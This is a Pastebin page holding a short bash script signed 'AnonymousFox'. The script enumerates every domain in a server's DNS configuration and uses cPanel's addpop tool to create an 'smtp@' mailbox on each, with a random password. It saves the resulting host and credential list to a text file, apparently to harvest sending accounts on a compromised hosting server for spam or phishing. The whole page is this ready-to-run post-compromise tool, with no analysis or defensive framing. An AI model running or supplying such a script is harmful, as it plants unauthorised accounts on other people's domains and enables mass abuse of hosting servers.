Advertisement
PalmaSolutions

smtp.sh

Dec 26th, 2018
497
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.48 KB | None | 0 0
  1. #!/bin/bash
  2. #Add Email Account ## By AnonymousFox ##
  3. export ALLOW_PASSWORD_CHANGE=1
  4. cat /etc/named.conf | uniq |grep '^zone' |grep -v '"."' |grep -v '"0.0.127.in-addr.arpa"' |cut -d ' ' -f 2  |cut -d '"' -f 2| sort | uniq > /tmp/usersforchpass
  5. for i in `more /tmp/usersforchpass `
  6. do
  7.         newPassword='f0x@'$(</dev/urandom tr -dc 'A-Za-z0-9' | head -c10)'#x'
  8.         echo "mail.$i|25|smtp@$i|$newPassword" >> ~/smtp.txt
  9.         /scripts/addpop smtp@$i $newPassword 100
  10. done
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement